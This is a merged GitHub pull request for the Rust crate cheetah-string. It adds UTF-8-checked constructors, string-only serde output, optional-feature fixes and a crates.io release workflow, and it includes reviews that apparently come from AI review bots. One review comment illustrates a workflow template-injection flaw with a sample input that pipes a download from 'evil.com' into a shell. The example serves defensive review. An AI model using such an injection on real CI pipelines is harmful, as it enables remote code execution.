Skip to content

Feat: Harden string invariants, serde semantics, Cargo features, and release automation#116

Merged
mxsm merged 2 commits into
mainfrom
codex/pr-001-utf8-invariants
Jun 20, 2026
Merged

Feat: Harden string invariants, serde semantics, Cargo features, and release automation#116
mxsm merged 2 commits into
mainfrom
codex/pr-001-utf8-invariants

Conversation

@mxsm

@mxsm mxsm commented Jun 20, 2026

Copy link
Copy Markdown
Owner

Implements the foundation stages from the architecture plan.

Scope:

  • Harden UTF-8 construction boundaries with checked TryFrom APIs and explicit unsafe constructors.
  • Normalize CheetahString serde to string semantics.
  • Fix Cargo feature semantics for optional bytes.
  • Prepare v1.1.0 metadata and release automation.

Verification:

  • cargo fmt -- --check
  • cargo clippy --all-targets --all-features -- -D warnings
  • cargo test --all-features
  • cargo test --no-default-features
  • cargo test --no-default-features --features "serde bytes simd"
  • cargo package --allow-dirty

Closes #106.
Closes #107.
Closes #108.

Summary by CodeRabbit

Release v1.1.0

  • New Features

    • Added TryFrom trait implementations for byte constructors with UTF-8 validation.
    • Introduced unsafe unchecked conversion methods for performance-critical code paths.
  • Deprecations

    • Deprecated from_vec(), from_arc_vec(), and from_bytes() methods in favor of TryFrom traits.
  • Chores

    • Version bumped to 1.1.0.

Copilot AI review requested due to automatic review settings June 20, 2026 02:22
@coderabbitai

coderabbitai Bot commented Jun 20, 2026

Copy link
Copy Markdown

Review Change Stack

Warning

Review limit reached

@mxsm, we couldn't start this review because you've reached your PR review rate limit.

More reviews will be available in 53 minutes and 4 seconds. Learn how PR review limits work.

Your organization has used up its prepaid credits, and credit purchases are no longer available. Enable the review add-on in the billing tab to keep reviews running — you're only billed for reviews past your plan's rate limits ($0.25/file).

⌛ How to resolve this issue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based credits.

🚦 How do rate limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan refill rate.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, the refill rate gradually slows as usage increases. The highest same-day bursts are limited more strictly.

Please see our Fair Usage Limits Policy for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 14b5edff-1135-434f-963b-7d79dd8c1ce8

📥 Commits

Reviewing files that changed from the base of the PR and between 91d058f and 08189cd.

📒 Files selected for processing (1)
  • src/simd.rs
📝 Walkthrough

Walkthrough

Replaces all infallible byte-to-CheetahString constructors (From<&[u8]>, From<Vec<u8>>, From<bytes::Bytes>) with fallible TryFrom impls that validate UTF-8, adds explicit unsafe unchecked alternatives, deprecates old APIs, normalizes serde serialization to always emit strings, fixes Cargo optional-dependency wiring, bumps the crate to v1.1.0, and introduces a full automated release CI workflow.

Changes

UTF-8 Hardening, Serde Normalization, and v1.1.0 Release

Layer / File(s) Summary
Cargo feature wiring and version bump
Cargo.toml
Bumps the crate version to 1.1.0; reworks bytes and serde optional dependencies to use dep: syntax with optional = true and default-features = false in a [dependencies] block.
TryFrom trait impls replacing infallible From for bytes
src/cheetah_string.rs
Replaces From<&[u8]>, From<Vec<u8>>, and the bytes-feature From<bytes::Bytes> with fallible TryFrom impls returning Result<Self, Utf8Error>, each delegating to a checked UTF-8 construction path.
Deprecated constructors, unsafe alternatives, and internal helpers
src/cheetah_string.rs
Marks from_vec, from_arc_vec, and from_bytes as deprecated (now delegate to try_* + expect); adds explicit unsafe from_utf8_unchecked_vec, from_utf8_unchecked_bytes, from_utf8_unchecked_arc_vec, and from_utf8_unchecked_bytes_buf; introduces internal validated-unchecked helpers; adjusts try_from_vec to use the new helper directly.
Serde serialization and deserialization normalization
src/serde.rs
Replaces variant-matching Serialize logic with a single serialize_str(self.as_str()) call; updates visit_bytes, visit_borrowed_bytes, and visit_byte_buf to decode via str::from_utf8 and construct from slices, mapping failures to Error::custom.
Tests, benchmarks, and inline test updates
tests/basic.rs, src/cheetah_string.rs, benches/comprehensive.rs
Updates existing vec-buffer and bytes-feature tests to use try_from_vec/try_from; adds test_try_from_slice_trait and test_try_from_vec_trait covering valid and invalid UTF-8; updates the 256B benchmark to try_from_vec; fixes alloc imports in the inline test module.
Version bump in docs
README.md, src/lib.rs
Updates cheetah-string version references from 1.0.0/1.0.1 to 1.1.0 in the README Optional Features section and the crate-level doc TOML snippet.
Automated release CI pipeline
.github/workflows/release.yml
Adds a new GitHub Actions workflow triggered on v*.*.* tag pushes or manual dispatch; resolves and validates the version against Cargo.toml; handles Git tag creation for manual runs; runs fmt, clippy, and tests; publishes to crates.io; creates a GitHub release with the packaged .crate artifact.

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related issues

  • #106 (Harden UTF-8 invariants and prepare v1.1.0 release): This PR directly implements all listed tasks: replaces infallible byte constructors with TryFrom, adds explicit unsafe constructors with # Safety docs, deprecates From<&[u8]> / From<Vec<u8>> / from_vec / from_arc_vec / bytes-buffer constructors, ensures safe constructors validate UTF-8, bumps version to 1.1.0, and adds invalid UTF-8 tests.
  • #107 (Normalize serde string semantics): The src/serde.rs changes directly implement this issue: Serialize now always calls serializer.serialize_str(self.as_str()), and Deserialize visitor byte methods now validate UTF-8 via str::from_utf8 before constructing CheetahString.
  • #108 (Fix Cargo feature semantics and optional bytes dependency): The Cargo.toml changes directly implement this issue: bytes and serde are now properly declared as optional dependencies with dep: feature wiring and default-features = false.
  • #113 (CheetahBytes type for byte semantics separation): This PR's conversion of byte constructors to validated TryFrom impls aligns with and supports the goal of separating byte semantics from string semantics.

Poem

🐇 No more sneaky bytes pretending to be strings,
TryFrom checks each byte before the rabbit sings!
Deprecated paths now wave a gentle goodbye,
Unsafe gets labeled so callers know why.
v1.1.0 hops off to crates.io with glee —
UTF-8 is valid, as a string should be! 🎉

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The pull request title accurately describes the main changes: UTF-8 invariant hardening, serde semantics normalization, Cargo feature fixes, and release automation preparation.
Linked Issues check ✅ Passed The pull request successfully addresses all requirements from #106 (UTF-8 hardening with TryFrom APIs and unsafe constructors), #107 (serde string semantics via serialize_str), and #108 (optional bytes dependency with proper wiring).
Out of Scope Changes check ✅ Passed All changes are directly related to the three linked issues: version bumps (1.0.1→1.1.0), API safety improvements, serde normalization, feature corrections, and release automation workflow—no unrelated modifications detected.
Docstring Coverage ✅ Passed Docstring coverage is 100.00% which is sufficient. The required threshold is 80.00%.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch codex/pr-001-utf8-invariants

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR advances cheetah-string toward a safer, more consistent public surface by enforcing UTF-8 validity at construction boundaries, aligning serde behavior to string semantics, correcting Cargo feature wiring for optional bytes, and adding automation for releasing v1.1.0.

Changes:

  • Harden UTF-8 invariants by introducing checked TryFrom paths and explicit unsafe unchecked constructors; update call sites/tests accordingly.
  • Normalize CheetahString serde serialization to always serialize as a string and validate UTF-8 on byte-based deserialization inputs.
  • Make bytes an optional dependency with proper feature wiring; bump crate/docs to 1.1.0 and add a tag-driven GitHub Actions release workflow.

Reviewed changes

Copilot reviewed 8 out of 8 changed files in this pull request and generated 3 comments.

Show a summary per file
File Description
tests/basic.rs Updates tests to use checked constructors and adds new TryFrom trait coverage (including invalid UTF-8 cases).
src/serde.rs Changes serde behavior to serialize as string and validates UTF-8 when deserializing from byte inputs.
src/lib.rs Updates crate-level docs to reference 1.1.0.
src/cheetah_string.rs Introduces TryFrom implementations, adds deprecated checked shims + explicit unsafe constructors, and tightens invariant story around UTF-8.
README.md Updates dependency examples to 1.1.0.
Cargo.toml Bumps version to 1.1.0 and fixes optional dependency/feature wiring for bytes and serde.
benches/comprehensive.rs Updates benches to use checked construction (try_from_vec).
.github/workflows/release.yml Adds a release workflow to validate, package, publish, and create a GitHub release on version tags / manual dispatch.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread src/cheetah_string.rs
Comment on lines +281 to +283
///
/// The caller must guarantee that `s` contains valid UTF-8 for the entire
/// lifetime of the returned `CheetahString`.
Comment thread src/cheetah_string.rs
Comment on lines +50 to 56
impl<'a> TryFrom<&'a [u8]> for CheetahString {
type Error = Utf8Error;

#[inline]
fn from(b: &[u8]) -> Self {
// SAFETY: This is unsafe and may cause UB if bytes are not valid UTF-8.
// This will be deprecated in favor of try_from_bytes in the next version.
CheetahString::from_slice(unsafe { str::from_utf8_unchecked(b) })
fn try_from(b: &'a [u8]) -> Result<Self, Self::Error> {
CheetahString::try_from_bytes(b)
}
Comment thread src/serde.rs
Comment on lines 9 to 15
impl Serialize for CheetahString {
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
where
S: Serializer,
{
match &self.inner {
InnerString::Inline { len, data } => {
// Safety: InnerString::Inline guarantees that data[0..len] is valid UTF-8
let s = unsafe { str::from_utf8_unchecked(&data[..*len as usize]) };
serializer.serialize_str(s)
}
InnerString::StaticStr(s) => serializer.serialize_str(s),
InnerString::ArcStr(s) => serializer.serialize_str(s.as_ref()),
InnerString::Owned(s) => serializer.serialize_str(s.as_str()),
InnerString::ArcString(s) => serializer.serialize_str(s.as_str()),
InnerString::ArcVecString(s) => serializer.serialize_bytes(s),
#[cfg(feature = "bytes")]
InnerString::Bytes(bytes) => serializer.serialize_bytes(bytes.as_ref()),
}
serializer.serialize_str(self.as_str())
}

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (3)
.github/workflows/release.yml (3)

51-51: 💤 Low value

Fragile package selection assumes single-crate repository.

Using packages[0] works for single-package repositories but will silently break if the repository becomes a workspace. Filter by package name for robustness.

♻️ Proposed improvement
-          MANIFEST_VERSION="$(cargo metadata --no-deps --format-version 1 | python3 -c 'import json, sys; print(json.load(sys.stdin)["packages"][0]["version"])')"
+          MANIFEST_VERSION="$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[] | select(.name == "cheetah-string") | .version')"

This also replaces python3 with jq, which is already available in GitHub runners and more idiomatic for JSON processing.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml at line 51, The MANIFEST_VERSION extraction in
the release workflow uses packages[0] which assumes a single-crate repository
and will break if the repository becomes a workspace with multiple packages.
Replace the python3 JSON parsing approach with jq (which is already available in
GitHub runners) and filter the packages array by the actual package name instead
of taking the first element, ensuring the correct version is extracted even in a
multi-crate workspace configuration.

60-78: 💤 Low value

Use environment variable for step output reference for consistency.

While steps.version.outputs.tag has been validated, using environment variables consistently for all interpolations improves maintainability and reduces the cognitive load of determining which interpolations are "safe."

♻️ Proposed fix
     - name: Create tag for manual release
       if: github.event_name == 'workflow_dispatch'
       shell: bash
+      env:
+        TAG: ${{ steps.version.outputs.tag }}
       run: |
-        TAG="${{ steps.version.outputs.tag }}"
         CURRENT_SHA="$(git rev-parse HEAD)"
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 60 - 78, The "Create tag for
manual release" step references the step output directly using ${{
steps.version.outputs.tag }} in the bash script. For consistency and
maintainability, convert this to use an environment variable instead. Add an env
section to the step that exports the tag output as an environment variable
(e.g., TAG), then update the TAG assignment in the run block to reference this
environment variable using standard bash syntax instead of the GitHub Actions
step output syntax.

95-98: Switch to OIDC trusted publishing instead of managing long-lived tokens.

Crates.io supports OIDC-based trusted publishing, which eliminates the need for stored API tokens. Update the workflow to use rust-lang/crates-io-auth-action to exchange a short-lived OIDC token for a temporary crates.io access token. This requires:

  1. Setting permissions: { id-token: write } on the publish job
  2. Adding an authentication step using rust-lang/crates-io-auth-action@v1
  3. Configuring a Trusted Publisher on crates.io (specify the repository, workflow file name, and optionally an environment)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 95 - 98, The workflow currently
uses a long-lived stored token for crates.io publishing. Replace this with OIDC
trusted publishing by: (1) adding job-level permissions with id-token write
access, (2) adding a new step before the "Publish crate to crates.io" step that
uses the rust-lang/crates-io-auth-action@v1 action to exchange an OIDC token for
a temporary crates.io token, (3) capturing the token output from the auth
action, and (4) updating the cargo publish step to use the temporary token from
the auth action output instead of the CARGO_REGISTRY_TOKEN secret.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/release.yml:
- Around line 40-44: The shell script directly interpolates the GitHub Actions
expression ${{ inputs.version }} which creates a shell injection vulnerability
if malicious input containing shell metacharacters is provided. Pass the
untrusted input via an environment variable instead by adding an env section at
the run step level to expose inputs.version as an environment variable (e.g.,
INPUT_VERSION), then replace the direct interpolation in the conditional block
with a reference to that environment variable (e.g., $INPUT_VERSION) to safely
pass the input to the shell.
- Around line 26-34: The workflow file uses action references with tags
(checkout@v4 and rust-toolchain@stable) instead of pinned commit SHAs, which
poses a supply chain security risk. Replace the tag-based references in both the
"Checkout code" and "Set up Rust" steps with their full commit SHAs.
Additionally, add the persist-credentials property set to false in the checkout
action to prevent git credentials from persisting in the workspace. If upgrading
the checkout action, consider using v7.0.0 or later as mentioned in the review.

---

Nitpick comments:
In @.github/workflows/release.yml:
- Line 51: The MANIFEST_VERSION extraction in the release workflow uses
packages[0] which assumes a single-crate repository and will break if the
repository becomes a workspace with multiple packages. Replace the python3 JSON
parsing approach with jq (which is already available in GitHub runners) and
filter the packages array by the actual package name instead of taking the first
element, ensuring the correct version is extracted even in a multi-crate
workspace configuration.
- Around line 60-78: The "Create tag for manual release" step references the
step output directly using ${{ steps.version.outputs.tag }} in the bash script.
For consistency and maintainability, convert this to use an environment variable
instead. Add an env section to the step that exports the tag output as an
environment variable (e.g., TAG), then update the TAG assignment in the run
block to reference this environment variable using standard bash syntax instead
of the GitHub Actions step output syntax.
- Around line 95-98: The workflow currently uses a long-lived stored token for
crates.io publishing. Replace this with OIDC trusted publishing by: (1) adding
job-level permissions with id-token write access, (2) adding a new step before
the "Publish crate to crates.io" step that uses the
rust-lang/crates-io-auth-action@v1 action to exchange an OIDC token for a
temporary crates.io token, (3) capturing the token output from the auth action,
and (4) updating the cargo publish step to use the temporary token from the auth
action output instead of the CARGO_REGISTRY_TOKEN secret.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 10129581-8f30-4138-8076-73ea4c3961f6

📥 Commits

Reviewing files that changed from the base of the PR and between 21aa0bf and 91d058f.

📒 Files selected for processing (8)
  • .github/workflows/release.yml
  • Cargo.toml
  • README.md
  • benches/comprehensive.rs
  • src/cheetah_string.rs
  • src/lib.rs
  • src/serde.rs
  • tests/basic.rs

Comment on lines +26 to +34
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Set up Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: stable

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

What are the latest commit SHAs for actions/checkout v4 and dtolnay/rust-toolchain stable?

💡 Result:

As of June 20, 2026, the latest commit SHAs for these actions are as follows: 1. actions/checkout@v4: The v4 branch for actions/checkout is a moving target that receives updates [1][2][3]. As it is not a static tag, the specific commit SHA associated with the v4 reference can change over time. To obtain the current absolute SHA, you should check the official actions/checkout repository [1]. 2. dtolnay/rust-toolchain stable: This action does not use a single "stable" commit SHA [4][5]. Instead, the toolchain (e.g., "stable", "nightly", or specific versions like "1.94.1") is selected using an input within your workflow file, and the action itself is typically pinned to a commit on the master branch [4][6][7]. The author recommends pinning the action to a full-length commit SHA from the master branch history to ensure security and stability, rather than relying on dynamic tags [4][6][5]. As of March 27, 2026, a recent commit on the master branch is 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 [7]. For security-conscious workflows, it is recommended to inspect the repository history directly to select a verified commit SHA on the master branch for dtolnay/rust-toolchain, or check the specific ref for actions/checkout [1][4][6].

Citations:


🏁 Script executed:

# Check if we can access information about the proposed SHAs from GitHub
# For actions/checkout
curl -s -I "https://github.com/actions/checkout/commit/11bd71901bbe5b1630ceea73d27597364c9af683" -w "\nStatus: %{http_code}\n" | tail -5

# For dtolnay/rust-toolchain
curl -s -I "https://github.com/dtolnay/rust-toolchain/commit/b3b07ba8b418998c39fb20f53e8b695cdcc8de1b" -w "\nStatus: %{http_code}\n" | tail -5

Repository: mxsm/cheetah-string

Length of output: 457


🌐 Web query:

What is the current latest stable version/commit SHA of actions/checkout as of June 2026?

💡 Result:

As of June 20, 2026, the latest stable version of actions/checkout is v7.0.0, which was released on June 18, 2026 [1][2]. The commit SHA associated with the v7.0.0 tag is 6927d6d9d1502f61c3905c1069b2d398d57d5904 (this can be verified via the repository's tags on GitHub) [1][2].

Citations:


🌐 Web query:

What is the current latest commit SHA for dtolnay/rust-toolchain master branch as of June 2026?

💡 Result:

As of June 20, 2026, the dtolnay/rust-toolchain repository continues to use the master branch as its primary development branch [1][2]. The last recorded push to this repository occurred on March 27, 2026, at 15:56:25 UTC [1]. The commit associated with this update is SHA 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9, which added support for the 1.94.1 patch release [3]. There have been no subsequent commits to the master branch since that date. Therefore, the latest commit SHA for the dtolnay/rust-toolchain master branch as of June 20, 2026, is 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 [3].

Citations:


Pin action references to commit SHAs and disable credential persistence.

Using tag-based references (@v4, @stable) for actions is a supply chain risk—a compromised tag could inject malicious code. Pin to full commit SHAs instead. Additionally, set persist-credentials: false on checkout to prevent git credentials from persisting in the workspace.

Note: A newer major version of actions/checkout is available. Use v7.0.0 or later.

🔒 Proposed fix
     - name: Checkout code
-      uses: actions/checkout@v4
+      uses: actions/checkout@6927d6d9d1502f61c3905c1069b2d398d57d5904 # v7.0.0
       with:
         fetch-depth: 0
+        persist-credentials: false

     - name: Set up Rust
-      uses: dtolnay/rust-toolchain@stable
+      uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9
       with:
         toolchain: stable
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Set up Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: stable
- name: Checkout code
uses: actions/checkout@6927d6d9d1502f61c3905c1069b2d398d57d5904 # v7.0.0
with:
fetch-depth: 0
persist-credentials: false
- name: Set up Rust
uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9
with:
toolchain: stable
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 26-29: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)


[error] 32-32: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 26 - 34, The workflow file uses
action references with tags (checkout@v4 and rust-toolchain@stable) instead of
pinned commit SHAs, which poses a supply chain security risk. Replace the
tag-based references in both the "Checkout code" and "Set up Rust" steps with
their full commit SHAs. Additionally, add the persist-credentials property set
to false in the checkout action to prevent git credentials from persisting in
the workspace. If upgrading the checkout action, consider using v7.0.0 or later
as mentioned in the review.

Source: Linters/SAST tools

Comment on lines +40 to +44
if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
VERSION="${{ inputs.version }}"
else
VERSION="${GITHUB_REF_NAME#v}"
fi

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Fix template injection vulnerability in shell script.

The ${{ inputs.version }} expression is interpolated directly into the shell script before execution. A malicious input containing shell metacharacters (e.g., "; curl evil.com | sh #) could escape the quotes and execute arbitrary code. While workflow_dispatch requires write access, defense-in-depth is essential for release workflows.

Pass untrusted inputs via environment variables instead of direct interpolation.

🔒 Proposed fix
     - name: Resolve release version
       id: version
       shell: bash
+      env:
+        VERSION_INPUT: ${{ inputs.version }}
       run: |
         if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
-          VERSION="${{ inputs.version }}"
+          VERSION="$VERSION_INPUT"
         else
           VERSION="${GITHUB_REF_NAME#v}"
         fi
🧰 Tools
🪛 zizmor (1.25.2)

[error] 41-41: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 40 - 44, The shell script
directly interpolates the GitHub Actions expression ${{ inputs.version }} which
creates a shell injection vulnerability if malicious input containing shell
metacharacters is provided. Pass the untrusted input via an environment variable
instead by adding an env section at the run step level to expose inputs.version
as an environment variable (e.g., INPUT_VERSION), then replace the direct
interpolation in the conditional block with a reference to that environment
variable (e.g., $INPUT_VERSION) to safely pass the input to the shell.

Source: Linters/SAST tools

@mxsm mxsm merged commit 90f72bf into main Jun 20, 2026
7 checks passed
@mxsm mxsm deleted the codex/pr-001-utf8-invariants branch June 20, 2026 08:41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

2 participants